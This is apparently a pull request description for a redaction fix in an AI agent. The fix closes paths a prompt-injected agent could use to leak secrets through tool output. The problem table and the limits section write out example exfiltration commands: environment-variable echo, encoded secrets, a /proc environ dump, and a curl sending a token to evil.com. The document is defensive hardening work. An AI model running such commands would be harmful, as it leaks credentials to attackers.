fix(redact): close secret-leak gaps on the tool output surface

[jkyberneees]

Problem

Tool output is redacted before it enters the transcript/session (internal/loop/loop.go:926), but the matcher is pattern-based — it only catches secrets whose format it recognises. That leaves real leak paths a prompt-injected agent can use:

Vector	Example	Before
Bare echo of a non-standard-format secret	echo $TELEGRAM_BOT_TOKEN	leaked (no name= context, shape unknown)
Encoded secret	echo $API_KEY | base64 / xxd / rev	leaked (value no longer matches any regex)
/proc environ dump	cat /proc/self/environ	partial

Scrubbing the process env is not an option — the agent needs its keys (above all the LLM API key) to function. So the fix belongs on the tool output surface.

Fix

A known-value redaction layer that complements the existing format patterns:

• odek registers its own secrets at startup — resolved API key, Telegram bot token, and env vars with a secret-bearing name segment (config.LoadConfig; FD-supplied key in the subagent path).
• Those exact values and their common encodings (base64 std/raw/url, hex, percent, reversed) are redacted wherever they appear, regardless of format — closing all three vectors for odek's own secrets.
• Added a Telegram bot-token format pattern for tokens we don't hold.

Safety of the heuristic:

• Env-name matching is on whole _/- segments, so GIT_AUTHOR_NAME (AUTHOR) / compass (PASS) are not treated as secrets.
• Values under 8 chars are ignored (no over-redaction of ordinary text).
• Matching is literal (strings.Replacer) — no regex metachar / ReDoS risk from arbitrary secret contents.

Honest limits (documented, not fixed here)

Redaction is a disclosure safety net, not an exfil guarantee. Arbitrary transformations (gzip, openssl enc, char-substitution) and side-channel exfiltration (curl -d "$TOKEN" evil.com, reverse shells, DNS tunnelling) never reach — or bypass — the tool surface, and stay the job of the network-egress controls (network_egress: prompt + non_interactive: deny + the egress denylist). See docs/REDACTION_HARDENING.md for the full threat model and the follow-up roadmap (streaming-boundary redaction, entropy heuristic for third-party secrets, redaction telemetry).

Tests

go test ./internal/redact/ — new coverage in known_value_test.go for each closed vector, env-scan selectivity, and the short-value guard. Touched packages (redact, config, loop, cmd/odek) all pass; go vet clean.

🤖 Generated with Claude Code